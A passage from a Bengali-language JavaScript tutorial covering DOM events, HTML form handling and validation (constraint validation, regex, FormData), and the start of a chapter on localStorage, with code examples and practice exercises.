        Click Me
    </button>

</div>

JavaScript:

16.65 JavaScriptRun
let parent = document.getElementById("parent");
let button = document.getElementById("button");

parent.addEventListener("click", function (event) {

    console.log(
        "Parent:",
        event.target,
        event.currentTarget
    );

});

button.addEventListener("click", function (event) {

    console.log(
        "Button:",
        event.target,
        event.currentTarget
    );

});

Button click করলে:

Button: button button Parent: button parent

এটাই target বনাম currentTarget বোঝার সবচেয়ে ভালো example।

Part 07 — Event Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map (16.66 – Post)
16.66 Must Know

Chapter 16 থেকে এগুলো অবশ্যই জানতে হবে:

Basic
16.66 JavaScriptRun
addEventListener()
removeEventListener()
Mouse
Text
click
dblclick
mousedown
mouseup
mousemove
mouseenter
mouseleave
Keyboard
Text
keydown
keyup
Form
Text
input
change
focus
blur
submit
Browser
Text
load
DOMContentLoaded
scroll
resize
Event Object
16.66 JavaScriptRun
event.target
event.currentTarget
event.type
event.key
event.code
event.ctrlKey
event.shiftKey
event.altKey
event.metaKey
Event Control
16.66 JavaScriptRun
preventDefault()
stopPropagation()
stopImmediatePropagation()
Event Propagation
Capturing ↓ Target ↓ Bubbling
Event Delegation
16.66 JavaScriptRun
parent.addEventListener(...)
CHEAT SHEET 🧠 Quick Cheat Sheet — Common Events & Listeners
JavaScriptRun
// Click
button.addEventListener("click", handler);

// Keyboard
document.addEventListener("keydown", handler);

// Input
input.addEventListener("input", handler);

// Form
form.addEventListener("submit", handler);

// Stop default
event.preventDefault();

// Stop bubbling
event.stopPropagation();

// Target
event.target;

// Listener element
event.currentTarget;

// Keyboard
event.key;
event.code;

// Modifier
event.ctrlKey;
event.shiftKey;
event.altKey;
event.metaKey;
PRACTICE LAB 📝 Chapter 16 Practice Set — 13 Hands-on Problems
LEVEL: BEGINNER

1. একটি button click করলে:

Text
Hello JavaScript

console-এ দেখাও।

2. একটি button click করলে তার text পরিবর্তন করো।

3. Mouse enter করলে box-এর color পরিবর্তন করো।

4. Keyboard-এ যেকোনো key press করলে key-এর নাম console-এ দেখাও।

LEVEL: INTERMEDIATE

5. একটি input-এর value live <p> element-এ দেখাও।

6. একটি textarea-এর character counter তৈরি করো।

7. একটি form submit করলে page reload বন্ধ করো।

8. একটি checkbox checked কিনা তা change event দিয়ে detect করো।

LEVEL: ADVANCED

9. Ctrl + S shortcut detect করো এবং browser-এর default behavior prevent করো।

10. Event bubbling demonstrate করো:

Parent ↓ Child

11. stopPropagation() ব্যবহার করে bubbling বন্ধ করো।

12. Event delegation ব্যবহার করে একটি dynamic Todo List বানাও।

13. Parent-এর একটি listener ব্যবহার করে তার সব child button-এর click handle করো।

SUMMARY 🎯 Chapter 16 Final Mental Map — Event Flow & Propagation
পুরো chapter-টা এই flow-তে মনে রাখো:
User Action ↓ Event ↓ Event Listener ↓ Handler Function ↓ Event Object ↓ JavaScript Logic ↓ DOM Update ↓ UI Changes

আর advanced event system:

Event ↓ Capturing ↓ Target ↓ Bubbling ↓ Event Delegation
📌 সবচেয়ে গুরুত্বপূর্ণ পার্থক্য
preventDefault() → Browser-এর default কাজ বন্ধ করে stopPropagation() → Event-এর propagation বন্ধ করে target → যেখানে event ঘটেছে currentTarget → যেখানে listener attached input → user typing/change-এর সময় বারবার fire হতে পারে change → value change/commit হওয়ার পর fire হয়
NEXT CHAPTER 📘 Chapter 17 Preview — Forms & Form Validation

পরবর্তী অধ্যায়ে আমরা Chapter 17 — Forms & Form Validation-এ যাব। সেখানে HTML forms-এর সাথে JavaScript ব্যবহার করে input validation, required fields, email/password validation, regex validation, error messages, FormData, submit handling এবং professional form validation structure বিস্তারিত শিখব।

Chapter 17
↑ Index
Forms & Form Validation — ফর্ম হ্যান্ডলিং ও ভ্যালিডেশন
Total Sections
61 Modules + Practice
Curriculum Part
Part 11 — Forms, User Input & Validation
Core Mechanics
FormData, Constraint Validation & ValidityState
Reference Standard
HTML5 Form Standard / ECMAScript 2026

Forms & Form Validation — ফর্ম তৈরি, ডাটা নেওয়া এবং Validation করা

আধুনিক ওয়েব অ্যাপ্লিকেশন বা সিঙ্গেল পেজ অ্যাপে ইউজার ইন্টারঅ্যাকশনের সবচেয়ে গুরুত্বপূর্ণ মাধ্যম হলো Form। ব্যবহারকারীর কাছ থেকে লগইন, রেজিস্ট্রেশন, পেমেন্ট বা যেকোনো ইনপুট সুরক্ষিতভাবে গ্রহণ ও যাচাই করার জন্য জাভাস্ক্রিপ্ট ফর্ম হ্যান্ডলিং ও ভ্যালিডেশন অত্যন্ত অপরিহার্য।

Form Elements  →  preventDefault()  →  Constraint Validation / Regex  →  FormData API  →  Clean Payload

Frontend ও Backend উভয়ের নিরাপত্তায় নির্ভুল ও ডায়নামিক ক্লায়েন্ট-সাইড ভ্যালিডেশন প্রথম প্রাচীর হিসেবে কাজ করে। 🔥

Part 01 — Form Fundamentals, Structure & Form Elements (17.1 – 17.8)
17.1 Form কী?

Form হলো এমন একটি UI অংশ যেখানে user information input করে।

💡 Real-life example

তুমি কোনো website-এ registration করছো:

Name: Shariar Email: shariar@example.com Password: ******** Phone: 017XXXXXXXX [ Register ]

এই পুরো অংশটাই একটি Form

HTML:

17.1 HTMLMarkup
<form>
  <input type="text" />
  <input type="email" />
  <input type="password" />

  <button type="submit">Register</button>
</form>
17.2 Basic Form Structure
17.2 HTMLMarkup
<form id="registrationForm">
  <label for="name">Name</label>
  <input type="text" id="name" />

  <label for="email">Email</label>
  <input type="email" id="email" />

  <button type="submit">Register</button>
</form>

JavaScript:

17.2 JavaScriptRun
const form = document.querySelector("#registrationForm");

form.addEventListener("submit", function (event) {
  event.preventDefault();

  console.log("Form submitted!");
});
Form submitted!
⚙️ এখানে কী হলো?
17.2 JavaScriptRun
form.addEventListener("submit", ...)

Form submit হলে function চলবে।

আর:

17.2 JavaScriptRun
event.preventDefault();

browser-এর default form submission বন্ধ করবে।

17.3 কেন preventDefault() ব্যবহার করি?

Normally form submit করলে browser page reload করতে পারে।

17.3 JavaScriptRun
form.addEventListener("submit", function (event) {
  event.preventDefault();
});

এতে browser-এর default behavior বন্ধ হয়।

💡 Real-life example

Login form submit করলে তুমি চাও:

User clicks Login ↓ JavaScript data নেয় ↓ Validation করে ↓ API-তে data পাঠায় ↓ Login success

Page reload করানো দরকার নেই।

17.4 Input থেকে Value নেওয়া
17.4 HTMLMarkup
<input type="text" id="username" />

<button id="btn">Get Name</button>
17.4 JavaScriptRun
const username = document.querySelector("#username");
const button = document.querySelector("#btn");

button.addEventListener("click", function () {
  console.log(username.value);
});

User যদি লেখে:

Text
Shariar
Text
Shariar
📌 গুরুত্বপূর্ণ

Input-এর value পেতে:

17.4 JavaScriptRun
input.value;
17.5 Form-এর সব Input Access করা
17.5 HTMLMarkup
<form id="myForm">
  <input type="text" name="username" />

  <input type="email" name="email" />

  <input type="password" name="password" />

  <button type="submit">Submit</button>
</form>

JavaScript:

17.5 JavaScriptRun
const form = document.querySelector("#myForm");

console.log(form.elements);

form.elements form-এর controls-এর collection দেয়।

17.6 form.elements` দিয়ে নির্দিষ্ট Input
17.6 JavaScriptRun
const form = document.querySelector("#myForm");

console.log(form.elements.username.value);
console.log(form.elements.email.value);
console.log(form.elements.password.value);
CONSOLE OUTPUT
Shariar
shariar@gmail.com
12345678
এখানে name attribute গুরুত্বপূর্ণ।
17.6 HTMLMarkup
<input name="username" />
17.7 Label কেন ব্যবহার করি?

ভালো form-এর জন্য:

17.7 HTMLMarkup
<label for="email">Email</label>

<input type="email" id="email" />

for="email" → input-এর id="email"-এর সাথে সম্পর্ক তৈরি করে।

User label-এ click করলেও input focus হবে।

17.8 Different Input Types

Form-এ বিভিন্ন ধরনের input আছে।

17.8 HTMLMarkup
<input type="text" />

<input type="email" />

<input type="password" />

<input type="number" />

<input type="tel" />

<input type="date" />

<input type="time" />

<input type="url" />

<input type="checkbox" />

<input type="radio" />

<input type="file" />

<input type="color" />

<input type="range" />

JavaScript দিয়ে এগুলোর value/behavior handle করা যায়।

Part 02 — HTML5 Constraint Validation & ValidityState API (17.9 – 17.24)
17.9 required

User যেন field empty রেখে submit করতে না পারে:

17.9 HTMLMarkup
<input type="text" name="username" required />

User empty রেখে submit করলে browser validation message দেখাবে।

17.10 minlength এবং maxlength
17.10 HTMLMarkup
<input type="text" minlength="3" maxlength="20" />

এর মানে:

Minimum → 3 characters Maximum → 20 characters
17.11 min এবং max

Number-এর ক্ষেত্রে:

17.11 HTMLMarkup
<input type="number" min="18" max="60" />

Allowed range:

18 → 60
17.12 pattern

Custom pattern তৈরি করা যায়।

17.12 HTMLMarkup
<input type="text" pattern="[A-Za-z]+" />

এখানে শুধুমাত্র English alphabet allow করা হচ্ছে।

17.13 autocomplete

Browser যেন আগের information suggest করতে পারে:

17.13 HTMLMarkup
<input type="email" autocomplete="email" />

Password:

17.13 HTMLMarkup
<input type="password" autocomplete="current-password" />

Registration-এর নতুন password:

17.13 HTMLMarkup
<input type="password" autocomplete="new-password" />
17.14 novalidate

Form-এর browser validation বন্ধ করতে:

17.14 HTMLMarkup
<form novalidate></form>

এটি ব্যবহার করলে validation JavaScript দিয়ে নিজে করতে পারো।

17.15 HTML Constraint Validation

HTML নিজেই অনেক validation করতে পারে।

17.15 HTMLMarkup
<form>
  <input type="email" required />

  <input type="number" min="18" max="60" />

  <button type="submit">Submit</button>
</form>

Browser automatically check করবে:

required email format min max pattern minlength maxlength
17.16 checkValidity()

কোনো form বা input valid কিনা check করতে:

17.16 JavaScriptRun
const email = document.querySelector("#email");

console.log(email.checkValidity());

Valid হলে:

Text
true

Invalid হলে:

Text
false
17.17 Example
17.17 HTMLMarkup
<input id="email" type="email" required />

JavaScript:

17.17 JavaScriptRun
const email = document.querySelector("#email");

console.log(email.checkValidity());

Empty হলে:

Text
false

Valid email দিলে:

Text
true
17.18 reportValidity()

Browser-এর built-in validation message দেখাতে:

17.18 JavaScriptRun
email.reportValidity();

যদি email invalid হয় browser message দেখাবে।

17.19 validity` Object
JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ form validation concepts-এর একটি।
17.19 JavaScriptRun
console.log(email.validity);

এখানে অনেক property পাওয়া যায়।

যেমন:

17.19 JavaScriptRun
email.validity.valid;
17.20 Important Validity Properties
PropertyMeaning
valueMissingrequired field empty
typeMismatchemail/url type ভুল
patternMismatchpattern match করেনি
tooLongmaximum length ছাড়িয়েছে
tooShortminimum length-এর নিচে
rangeUnderflowmin-এর নিচে
rangeOverflowmax-এর উপরে
stepMismatchstep-এর সাথে match করছে না
badInputbrowser input parse করতে পারছে না
customErrorcustom validation error
validসব validation ঠিক
17.21 Example
17.21 HTMLMarkup
<input id="email" type="email" required />

JavaScript:

17.21 JavaScriptRun
const email = document.querySelector("#email");

console.log(email.validity.valueMissing);
console.log(email.validity.typeMismatch);
console.log(email.validity.valid);

Empty থাকলে:

Text
true
false
false
17.22 validationMessage

Browser-এর validation message পাওয়া যায়:

17.22 JavaScriptRun
console.log(email.validationMessage);

যেমন:

Text
Please fill out this field.
অথবা email ভুল হলে browser অনুযায়ী message আসতে পারে।
17.23 setCustomValidity()

নিজের custom error message তৈরি করতে পারো।

17.23 JavaScriptRun
const username = document.querySelector("#username");

if (username.value.length < 5) {
  username.setCustomValidity("Username must be at least 5 characters.");
} else {
  username.setCustomValidity("");
}
📌 গুরুত্বপূর্ণ

Error remove করতে:

17.23 JavaScriptRun
setCustomValidity("");
17.24 Complete Custom Validation
17.24 HTMLMarkup
<input id="username" type="text" />

<button id="check">Check</button>
17.24 JavaScriptRun
const username = document.querySelector("#username");
const button = document.querySelector("#check");

button.addEventListener("click", function () {
  if (username.value.trim().length < 5) {
    username.setCustomValidity("Username must be at least 5 characters.");

    username.reportValidity();
  } else {
    username.setCustomValidity("");

    console.log("Valid username");
  }
});
Part 03 — JavaScript Custom Validation Algorithms & Regex (17.25 – 17.31)
17.25 trim()` কেন ব্যবহার করি?

User accidentally space দিতে পারে।

17.25 JavaScriptRun
const name = "   Shariar   ";

console.log(name.trim());
Text
Shariar

Form validation-এ:

17.25 JavaScriptRun
const name = input.value.trim();

এটি খুব useful।

17.26 Basic Name Validation
17.26 HTMLMarkup
<input id="name" type="text" />

<button id="submitBtn">Submit</button>
17.26 JavaScriptRun
const nameInput = document.querySelector("#name");
const submitBtn = document.querySelector("#submitBtn");

submitBtn.addEventListener("click", function () {
  const name = nameInput.value.trim();

  if (name === "") {
    console.log("Name is required.");
  } else {
    console.log("Name:", name);
  }
});
17.27 Email Validation

HTML:

17.27 HTMLMarkup
<input id="email" type="email" />

JavaScript:

17.27 JavaScriptRun
const email = document.querySelector("#email");

if (!email.checkValidity()) {
  console.log("Invalid email");
} else {
  console.log("Valid email");
}
17.28 Password Validation

ধরি password minimum 8 characters হতে হবে।

17.28 JavaScriptRun
const password = "123456";

if (password.length < 8) {
  console.log("Password must contain at least 8 characters.");
} else {
  console.log("Password is valid.");
}
Password must contain at least 8 characters.
17.29 Confirm Password

Real-life registration form-এ:

Password: Confirm Password:

JavaScript:

17.29 JavaScriptRun
const password = "Shariar123";
const confirmPassword = "Shariar123";

if (password !== confirmPassword) {
  console.log("Passwords do not match.");
} else {
  console.log("Password matched.");
}
Password matched.
17.30 Phone Number Validation

ধরি Bangladesh-এর 11-digit phone number check করব।

17.30 JavaScriptRun
const phone = "01712345678";

const pattern = /^01[3-9]\d{8}$/;

console.log(pattern.test(phone));
Text
true
ভুল হলে:
17.30 JavaScriptRun
const phone = "123456";

console.log(pattern.test(phone));
Text
false
17.31 Regex দিয়ে Email Validation
17.31 JavaScriptRun
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

const email = "shariar@gmail.com";

console.log(emailPattern.test(email));
Text
true
⚠️ তবে production application-এ email validation-এর জন্য শুধু regex-এর উপর নির্ভর করা উচিত নয়।
Part 04 — Modern FormData API & Advanced Input Controls (17.32 – 17.49)
17.32 Form Submit Handling

এখন একটা complete example দেখি।

HTML
17.32 HTMLMarkup
<form id="signupForm">
  <label>Name</label>
  <input type="text" id="name" required />

  <label>Email</label>
  <input type="email" id="email" required />

  <label>Password</label>
  <input type="password" id="password" minlength="8" required />

  <button type="submit">Sign Up</button>
</form>
JavaScript
17.32 JavaScriptRun
const form = document.querySelector("#signupForm");

form.addEventListener("submit", function (event) {
  event.preventDefault();

  if (!form.checkValidity()) {
    form.reportValidity();
    return;
  }

  const name = document.querySelector("#name").value.trim();

  const email = document.querySelector("#email").value.trim();

  console.log("Name:", name);
  console.log("Email:", email);
});
Flow
Submit ↓ preventDefault() ↓ checkValidity() ↓ Invalid? ├── Yes → reportValidity() └── No ↓ Read values ↓ Process / API
17.33 FormData

Form-এর data একসাথে collect করার জন্য FormData খুব useful।

HTML:

17.33 HTMLMarkup
<form id="loginForm">
  <input type="email" name="email" />

  <input type="password" name="password" />

  <button type="submit">Login</button>
</form>

JavaScript:

17.33 JavaScriptRun
const form = document.querySelector("#loginForm");

form.addEventListener("submit", function (event) {
  event.preventDefault();

  const formData = new FormData(form);

  console.log(formData.get("email"));
  console.log(formData.get("password"));
});
17.34 FormData.get()
17.34 JavaScriptRun
formData.get("email");

একটি field-এর value দেয়।

17.35 FormData.has()
17.35 JavaScriptRun
console.log(formData.has("email"));
Text
true
17.36 FormData.set()
17.36 JavaScriptRun
formData.set("email", "newemail@gmail.com");

Existing value replace করবে।

17.37 FormData.append()
17.37 JavaScriptRun
formData.append("role", "student");

নতুন data যোগ করবে।

17.38 FormData.delete()
17.38 JavaScriptRun
formData.delete("password");

Field remove করবে।

17.39 FormData-এর সব Data দেখা
17.39 JavaScriptRun
for (const [key, value] of formData.entries()) {
  console.log(key, value);
}
email shariar@gmail.com password 12345678
17.40 FormData → Object

অনেক সময় API-তে JSON পাঠানোর জন্য object দরকার হয়।

17.40 JavaScriptRun
const data = Object.fromEntries(formData);

console.log(data);
17.40 JavaScriptRun
{
    email: "shariar@gmail.com",
    password: "12345678"
}

এটি খুব useful pattern।

17.41 Checkbox Handle করা

HTML:

17.41 HTMLMarkup
<label>
  <input type="checkbox" id="terms" />

  I agree to Terms
</label>

JavaScript:

17.41 JavaScriptRun
const terms = document.querySelector("#terms");

console.log(terms.checked);

Checked হলে:

Text
true

Unchecked হলে:

Text
false
17.42 Checkbox Validation
17.42 JavaScriptRun
if (!terms.checked) {
  console.log("You must accept the terms.");
}
17.43 Radio Button
17.43 HTMLMarkup
<label>
  <input type="radio" name="gender" value="male" />
  Male
</label>

<label>
  <input type="radio" name="gender" value="female" />
  Female
</label>

JavaScript:

17.43 JavaScriptRun
const selected = document.querySelector('input[name="gender"]:checked');

console.log(selected?.value);

Male select করলে:

Text
male
17.44 Select Dropdown

HTML:

17.44 HTMLMarkup
<select id="course">
  <option value="">Select Course</option>

  <option value="cse">CSE</option>

  <option value="eee">EEE</option>

  <option value="bba">BBA</option>
</select>

JavaScript:

17.44 JavaScriptRun
const course = document.querySelector("#course");

console.log(course.value);
17.45 Select Validation
17.45 JavaScriptRun
if (course.value === "") {
  console.log("Please select a course.");
}
17.46 File Input

HTML:

17.46 HTMLMarkup
<input type="file" id="profileImage" />

JavaScript:

17.46 JavaScriptRun
const fileInput = document.querySelector("#profileImage");

console.log(fileInput.files);

Selected files:

17.46 JavaScriptRun
console.log(fileInput.files[0]);

File-এর নাম:

17.46 JavaScriptRun
console.log(fileInput.files[0].name);
17.47 File Size Check
17.47 JavaScriptRun
const file = fileInput.files[0];

if (file) {
  const sizeInMB = file.size / (1024 * 1024);

  if (sizeInMB > 2) {
    console.log("File must be under 2MB.");
  }
}
17.48 Form Reset

Form-এর সব field reset করতে:

17.48 JavaScriptRun
form.reset();

Example:

17.48 JavaScriptRun
form.addEventListener("submit", function (event) {
  event.preventDefault();

  console.log("Submitted");

  form.reset();
});
17.49 Disable Submit Button

Duplicate submission prevent করতে button disable করা যায়।

17.49 JavaScriptRun
const submitButton = form.querySelector('button[type="submit"]');

form.addEventListener("submit", function (event) {
  event.preventDefault();

  submitButton.disabled = true;

  console.log("Processing...");
});

Real-world application-এ API request চলাকালে এটি useful।

Part 05 — End-to-End Registration Project & Validation Architecture (17.50 – 17.58)
17.50 Complete Registration Form Project

এবার অনেকগুলো concept একসাথে ব্যবহার করি।

HTML
17.50 HTMLMarkup
<form id="registerForm">
  <h2>Create Account</h2>

  <label for="name"> Name </label>

  <input id="name" name="name" type="text" minlength="3" required />

  <br /><br />

  <label for="email"> Email </label>

  <input id="email" name="email" type="email" required />

  <br /><br />

  <label for="password"> Password </label>

  <input id="password" name="password" type="password" minlength="8" required />

  <br /><br />

  <label for="confirmPassword"> Confirm Password </label>

  <input id="confirmPassword" type="password" required />

  <br /><br />

  <label>
    <input id="terms" type="checkbox" />

    I agree to the terms
  </label>

  <br /><br />

  <button type="submit">Register</button>
</form>
JavaScript
17.50 JavaScriptRun
const form = document.querySelector("#registerForm");

const password = document.querySelector("#password");

const confirmPassword = document.querySelector("#confirmPassword");

const terms = document.querySelector("#terms");

form.addEventListener("submit", function (event) {
  event.preventDefault();

  // HTML validation
  if (!form.checkValidity()) {
    form.reportValidity();

    return;
  }

  // Password validation
  if (password.value !== confirmPassword.value) {
    confirmPassword.setCustomValidity("Passwords do not match.");

    confirmPassword.reportValidity();

    return;
  } else {
    confirmPassword.setCustomValidity("");
  }

  // Terms validation
  if (!terms.checked) {
    alert("You must accept the terms.");

    return;
  }

  // Get form data
  const formData = new FormData(form);

  const data = Object.fromEntries(formData);

  console.log(data);

  alert("Registration successful!");
});
17.51 এই Project-এর পুরো Flow
User fills form ↓ Submit ↓ preventDefault() ↓ HTML validation ↓ checkValidity() ↓ Password match? ↓ Terms accepted? ↓ FormData ↓ Object.fromEntries() ↓ API / Backend

এটাই real-world registration form-এর basic architecture।

17.52 Client-side Validation vs Server-side Validation
এটা খুব গুরুত্বপূর্ণ

Client-side:

17.52 JavaScriptRun
if (password.length < 8) {
  // error
}

এটি user experience-এর জন্য ভালো।

কিন্তু security-এর জন্য যথেষ্ট নয়।

কারণ user browser-এর JavaScript modify/disable করতে পারে।

তাই:

Text
Frontend Validation
        +
Backend Validation
        =
Proper Validation

Backend-এ আবার validate করতে হবে:

Email Password Phone Required fields Data type Authorization Business rules
17.53 Example: Frontend + Backend

Frontend:

17.53 JavaScriptRun
const data = {
  email: "user@gmail.com",
  password: "12345678",
};

API request:

POST /api/register

Backend:

Receive data ↓ Validate ↓ Sanitize/process ↓ Check existing user ↓ Hash password ↓ Save database

Frontend validation কখনোই backend validation-এর replacement নয়।

17.54 aria-invalid

Accessibility-এর জন্য invalid field indicate করা যায়।

17.54 JavaScriptRun
email.setAttribute("aria-invalid", "true");

Valid হলে:

17.54 JavaScriptRun
email.setAttribute("aria-invalid", "false");
17.55 Error Message দেখানোর Better Way

শুধু:

17.55 JavaScriptRun
alert("Invalid email");

এর পরিবর্তে UI-তে message দেখানো ভালো।

HTML:

17.55 HTMLMarkup
<input id="email" type="email" />

<p id="emailError"></p>

JavaScript:

17.55 JavaScriptRun
const email = document.querySelector("#email");

const error = document.querySelector("#emailError");

if (!email.checkValidity()) {
  error.textContent = "Please enter a valid email.";
} else {
  error.textContent = "";
}

এতে user সরাসরি field-এর নিচে error দেখতে পাবে।

17.56 input` Event দিয়ে Live Validation

User typing করার সময় validation করতে পারি।

17.56 JavaScriptRun
email.addEventListener("input", function () {
  if (email.validity.typeMismatch) {
    console.log("Invalid email");
  } else {
    console.log("Valid email");
  }
});

Real-life:

user@gmail ↓ Invalid user@gmail.com ↓ Valid
17.57 Password Strength Checker
17.57 JavaScriptRun
const passwordInput = document.querySelector("#password");

passwordInput.addEventListener("input", function () {
  const password = passwordInput.value;

  if (password.length < 8) {
    console.log("Weak");
  } else if (password.length < 12) {
    console.log("Medium");
  } else {
    console.log("Strong");
  }
});
17.58 Form Validation-এর Common Mistakes
⚠️ ❌ Mistake 1

শুধু frontend validation-এর উপর depend করা।

⚠️ ❌ Mistake 2

Password plaintext database-এ save করা।

⚠️ ❌ Mistake 3

User input blindly innerHTML-এ বসানো।

⚠️ ❌ Mistake 4

trim() না করা।

⚠️ ❌ Mistake 5

Duplicate form submission allow করা।

⚠️ ❌ Mistake 6

শুধু regex দিয়ে সব validation করার চেষ্টা করা।

Part 06 — Form Validation Mastery: Must Know, Cheat Sheet, Practice Lab & Mental Map
MUST KNOW 🔥 17.59 Must Know — Form Architecture & Security

এই chapter থেকে অবশ্যই জানতে হবে:

<form>
Text
submit event
JavaScriptRun
event.preventDefault();
JavaScriptRun
input.value;
JavaScriptRun
form.elements;
JavaScriptRun
required;
JavaScriptRun
minlength;
maxlength;
JavaScriptRun
min;
max;
JavaScriptRun
pattern;
JavaScriptRun
checkValidity();
JavaScriptRun
reportValidity();
JavaScriptRun
validity;
JavaScriptRun
validationMessage;
JavaScriptRun
setCustomValidity();
JavaScriptRun
FormData;
JavaScriptRun
formData.get();
JavaScriptRun
formData.set();
JavaScriptRun
formData.append();
JavaScriptRun
formData.delete();
JavaScriptRun
Object.fromEntries();
JavaScriptRun
form.reset();
JavaScriptRun
input.checked;
JavaScriptRun
input.files;
CHEAT SHEET 🧠 17.60 Quick Cheat Sheet — Form Attributes & Methods
কাজJavaScript
Input valueinput.value
Checkboxinput.checked
Fileinput.files
Form elementsform.elements
Submit event"submit"
Default submit বন্ধevent.preventDefault()
Valid কিনাcheckValidity()
Browser messagereportValidity()
Validation infoinput.validity
Error messagevalidationMessage
Custom errorsetCustomValidity()
Form datanew FormData(form)
Data নেওয়াformData.get()
Data যোগformData.append()
Data replaceformData.set()
Data deleteformData.delete()
সব dataformData.entries()
Form resetform.reset()
PRACTICE LAB 📝 17.61 Practice Set — 5 Hands-on Production Projects

Practice 1 — Login Form

তৈরি করো:

Email Password Login Button

Validation:

Email required Valid email Password minimum 8 characters

Practice 2 — Registration Form

Fields:

Name Email Phone Password Confirm Password Gender Course Terms

সব validation implement করো।

Practice 3 — Password Strength

< 8 → Weak 8–11 → Medium 12+ → Strong

Practice 4 — Contact Form

Fields:

Name Email Subject Message

Rules:

Name → required Email → valid email Subject → minimum 5 characters Message → minimum 20 characters

Practice 5 — Student Registration

Student Name Student ID Email Department Semester Phone

সব data FormData দিয়ে collect করে:

JavaScriptRun
Object.fromEntries(formData);

এর মাধ্যমে object তৈরি করো।

SUMMARY 🎯 Chapter 17 Final Mental Map — Form Lifecycle & Validation Flow
FORM │ ┌────────┴────────┐ ↓ ↓ INPUTS BUTTON │ │ ↓ ↓ value submit │ │ └────────┬────────┘ ↓ preventDefault() ↓ VALIDATION │ ┌───────────┼───────────┐ ↓ ↓ ↓ required pattern custom JS │ │ │ └───────────┼───────────┘ ↓ checkValidity() ↓ FormData ↓ Object.fromEntries() ↓ API / Backend ↓ Database
📌 ⭐ সবচেয়ে গুরুত্বপূর্ণ কথা
Form Handling হলো frontend development-এর অত্যন্ত গুরুত্বপূর্ণ একটি অংশ। তুমি যখন React/Next.js দিয়ে Login, Registration, Contact Form, Dashboard, Admin Panel, Checkout, Student Portal বানাবে—এই JavaScript fundamentals-গুলোই ভিতরে কাজ করবে।

Chapter 17 complete.

NEXT CHAPTER 📘 Chapter 18 Preview — Browser Storage & Cookies

পরবর্তী অধ্যায়ে আমরা ব্রাউজারের বিভিন্ন ক্লায়েন্ট-সাইড স্টোরেজ মেকানিজম নিয়ে বিস্তারিত শিখব—localStorage, sessionStorage, Cookies, IndexedDB, স্টোরেজ ইভেন্ট, লিমিটেশন এবং স্টোরেজ সিকিউরিটি সেরা প্র্যাকটিস।

Chapter 18
↑ Index
Browser Storage & Cookies — ব্রাউজার স্টোরেজ ও কুকিজ
Total Sections
53 Modules + Practice
Curriculum Part
Part 12 — Client-Side Storage & Persistence
Core Mechanics
localStorage, sessionStorage, Cookies & StorageEvent
Reference Standard
W3C Web Storage / WHATWG / ECMAScript 2026

Browser Storage — Browser-এর মধ্যে Data Save, Read, Update ও Delete করা

একটি আধুনিক ওয়েব অ্যাপ্লিকেশনে ইউজার প্রেফারেন্স (যেমন ডার্ক মোড, ভাষা), শপিং কার্ট ডাটা কিংবা সাময়িক ফর্ম ডাটা পেজ রিলোড বা ব্রাউজার বন্ধ করলেও যেন হারিয়ে না যায়, সেজন্য ব্রাউজারের নিজস্ব Web Storage API ব্যবহার করা হয়।

Client Application  →  Web Storage (localStorage / sessionStorage) / Cookies / IndexedDB  →  JSON Serialization  →  Persistent State

ব্রাউজারে নির্ভরযোগ্য স্টেট পারসিস্টেন্স এবং অফলাইন-রেডি ইউজার এক্সপেরিয়েন্সের মূল ভিত্তি হলো এই স্টোরেজ আর্কিটেকচার। 🔥

Part 01 — Web Storage Foundations & localStorage (18.1 – 18.10)
18.1 Browser Storage কী?

Browser Storage হলো browser-এর মধ্যে website-এর কিছু data সংরক্ষণ করার ব্যবস্থা।

💡 Real-life example

ধরো তুমি একটি shopping website-এ গেলে এবং:

Dark Mode → ON Language → বাংলা Cart → 3 products

Browser কিছু information মনে রাখতে পারে।

তাই পরেরবার website খুললে:

Dark Mode → ON Language → বাংলা

থাকতে পারে।

18.2 Web Storage API

JavaScript-এর Web Storage API-এর প্রধান দুটি অংশ:

localStorage sessionStorage

দুটোই সাধারণত key-value pair আকারে data রাখে।

key value ------------------------- username Shariar theme dark language bn
18.3 localStorage` কী?

localStorage browser-এ data save করে এবং সাধারণত browser বন্ধ করলেও data থেকে যায়।

18.3 JavaScriptRun
localStorage.setItem("username", "Shariar");

এখন browser-এ:

Text
username = Shariar

save হয়েছে।

18.4 localStorage.setItem()

Syntax:

18.4 JavaScriptRun
localStorage.setItem(key, value);

Example:

18.4 JavaScriptRun
localStorage.setItem("name", "Shariar");

আরেকটি:

18.4 JavaScriptRun
localStorage.setItem("theme", "dark");
18.5 localStorage.getItem()

Data পড়তে:

18.5 JavaScriptRun
const name = localStorage.getItem("name");

console.log(name);
Text
Shariar
18.6 localStorage.removeItem()

একটি নির্দিষ্ট item delete:

18.6 JavaScriptRun
localStorage.removeItem("name");

এখন:

18.6 JavaScriptRun
console.log(localStorage.getItem("name"));
Text
null
18.7 localStorage.clear()

সব localStorage data delete করতে:

18.7 JavaScriptRun
localStorage.clear();
⚠️ এটি ওই origin-এর localStorage-এর সব entries মুছে দিতে পারে।

তাই production code-এ সাবধানে ব্যবহার করতে হবে।

18.8 localStorage.length

কতগুলো item আছে:

18.8 JavaScriptRun
console.log(localStorage.length);

যদি থাকে:

name theme language

তাহলে:

Text
3
18.9 localStorage.key()

Index দিয়ে key পাওয়া যায়।

18.9 JavaScriptRun
console.log(localStorage.key(0));

Output উদাহরণ:

Text
name
⚠️ Key-এর order-এর উপর application logic নির্ভর করানো উচিত নয়।
18.10 localStorage-এর সবচেয়ে গুরুত্বপূর্ণ বৈশিষ্ট্য
localStorage │ ├── Key → Value ├── Persistent ├── Same origin └── String-based
সবচেয়ে গুরুত্বপূর্ণ:
localStorage মূলত string data store করে।
Part 02 — Data Serialization: Numbers, Booleans, Objects & JSON Formula (18.11 – 18.21)
18.11 Number Save করলে কী হয়?
18.11 JavaScriptRun
localStorage.setItem("age", 25);

পরে:

18.11 JavaScriptRun
const age = localStorage.getItem("age");

console.log(age);
console.log(typeof age);
Text
25
string

অর্থাৎ:

25 Number ↓ localStorage ↓ "25" String
18.12 String থেকে Number
18.12 JavaScriptRun
const age = Number(localStorage.getItem("age"));

console.log(age);
console.log(typeof age);
Text
25
number
18.13 Boolean Save করলে?
18.13 JavaScriptRun
localStorage.setItem("isLoggedIn", true);

পরে:

18.13 JavaScriptRun
const value = localStorage.getItem("isLoggedIn");

console.log(value);
console.log(typeof value);
Text
true
string
⚠️ এটি Boolean true নয়, string "true"
18.14 Boolean Convert করা
18.14 JavaScriptRun
const isLoggedIn = localStorage.getItem("isLoggedIn") === "true";

